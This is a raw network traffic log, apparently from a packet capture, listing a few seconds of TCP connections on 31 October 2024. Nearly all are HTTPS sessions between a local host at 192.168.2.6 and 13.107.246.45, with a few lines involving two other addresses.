Oct 31, 2024 09:07:24.403706074 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.403913975 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.403934002 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.404036045 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.404042006 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.406456947 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.406472921 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.406491995 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.406533957 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.406624079 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.406630039 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.406836033 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.406836033 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.406852007 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.406861067 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.406898975 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.406912088 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.408987045 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.409013987 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.409116030 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.410835981 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.410877943 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.410892010 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.411189079 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.411197901 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.411880970 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.411885023 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.769722939 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.769748926 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.769798040 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.769824982 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.769895077 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.770112038 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.770112038 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.770136118 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.770148993 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.773089886 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.773133039 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.773286104 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.773499012 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.773514032 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.898807049 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.899770021 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.899770021 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.899792910 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.899806976 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.030234098 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.030258894 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.030311108 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.030407906 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.030407906 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.030564070 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.030564070 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.030577898 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.030586004 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.033483028 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.033530951 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.033643961 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.033819914 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.033834934 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.101391077 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.101857901 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.101871967 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.102322102 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.102325916 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.146707058 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.147098064 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.147113085 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.147542953 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.147548914 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.169644117 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.170134068 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.170141935 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.170595884 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.170599937 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.230787992 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.230807066 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.230870008 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.230875015 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.230914116 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.231322050 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.231343031 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.231353998 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.231359005 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.234580994 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.234617949 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.234678984 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.234819889 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.234832048 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.276210070 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.276293039 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.276344061 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.276578903 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.276578903 CET	49827	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.276586056 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.276592970 CET	443	49827	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.278629065 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.278666019 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.278805017 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.278996944 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.279009104 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.303921938 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.303981066 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.304112911 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.304176092 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.304176092 CET	49826	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.304187059 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.304193974 CET	443	49826	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.306268930 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.306317091 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.306387901 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.306541920 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.306557894 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.514367104 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.514816999 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.514827967 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.515281916 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.515285969 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.647767067 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.647830963 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.647912025 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.648066044 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.648085117 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.648097038 CET	49828	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.648102999 CET	443	49828	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.650994062 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.651038885 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.651108980 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.651259899 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.651278973 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.768102884 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.768660069 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.768676043 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.769165039 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.769167900 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.897752047 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.897821903 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.897911072 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.898066998 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.898092031 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.898107052 CET	49829	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.898113012 CET	443	49829	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.901896000 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.901937008 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.901995897 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.902160883 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.902172089 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.979676008 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.980242014 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.980253935 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:25.980684042 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:25.980688095 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.006702900 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.008584976 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.008608103 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.009167910 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.009174109 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.048860073 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.049417973 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.049452066 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.050096989 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.050110102 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.110490084 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.110565901 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.110737085 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.110795975 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.110811949 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.110821009 CET	49830	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.110826969 CET	443	49830	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.113588095 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.113684893 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.113753080 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.113909960 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.113949060 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.142456055 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.142522097 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.142596960 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.142779112 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.142798901 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.142813921 CET	49831	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.142819881 CET	443	49831	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.145709038 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.145741940 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.145884991 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.146004915 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.146019936 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.157881975 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:26.157941103 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:26.187836885 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.187908888 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.188040972 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.188097954 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.188122034 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.188139915 CET	49832	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.188148022 CET	443	49832	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.191148043 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.191174984 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.191819906 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.192133904 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.192150116 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.382373095 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.382831097 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.382865906 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.383523941 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.383538008 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.513330936 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.513386965 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.513602018 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.513793945 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.513829947 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.513854980 CET	49833	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.513873100 CET	443	49833	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.516271114 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.516309023 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.516448021 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.516649008 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.516664028 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.629693031 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.630378008 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.630418062 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.630944967 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.630953074 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.759066105 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.759145021 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.759332895 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.759432077 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.759449005 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.759458065 CET	49834	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.759463072 CET	443	49834	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.762026072 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.762140036 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.762382984 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.762523890 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.762561083 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.847341061 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.847990036 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.848038912 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.848526001 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.848537922 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.872049093 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.872440100 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.872458935 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.872925043 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.872932911 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.972657919 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.973238945 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.973264933 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.973762989 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.973767996 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.977018118 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.977147102 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.977221966 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.977566957 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.977601051 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.977646112 CET	49835	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.977663040 CET	443	49835	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.980082989 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.980122089 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:26.980279922 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.980423927 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:26.980432034 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.000478029 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.000567913 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.000607014 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.000766039 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.000901937 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.000919104 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.000936031 CET	49836	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.000941992 CET	443	49836	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.003226995 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.003262997 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.003437042 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.003596067 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.003622055 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.106991053 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.107089996 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.107147932 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.107359886 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.107383013 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.107393026 CET	49837	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.107398033 CET	443	49837	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.109949112 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.109988928 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.110162020 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.110486031 CET	49843	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.110496998 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.244002104 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.299010038 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.421072006 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.421097040 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.421829939 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.421834946 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.503849983 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:27.503895044 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:27.503968954 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:27.504841089 CET	49844	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:07:27.504854918 CET	443	49844	40.115.3.253	192.168.2.6
Oct 31, 2024 09:07:27.546257973 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.546289921 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.546344042 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.546356916 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.546391010 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.546540022 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.546550035 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.546560049 CET	49839	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.546565056 CET	443	49839	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.550055981 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.550097942 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.550156116 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.550543070 CET	49845	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.550555944 CET	443	49845	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.568135023 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.568473101 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.568484068 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.568953991 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.568958044 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.705308914 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.705369949 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.705490112 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.705622911 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.705646992 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.705693007 CET	49840	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.705707073 CET	443	49840	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.708101034 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.708137989 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.708262920 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.708415031 CET	49846	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.708430052 CET	443	49846	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.718660116 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.719347000 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.719367027 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.719815969 CET	49841	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.719820023 CET	443	49841	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.738262892 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.738603115 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.738626957 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.739023924 CET	49842	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:27.739037037 CET	443	49842	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.850085020 CET	443	49843	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:27.850673914 CET	49843	443	192.168.2.6	13.107.246.45
